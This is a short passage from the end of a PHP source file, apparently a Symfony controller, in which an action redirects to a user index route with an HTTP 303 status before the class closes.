  715.         return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
  716.     }
  717. }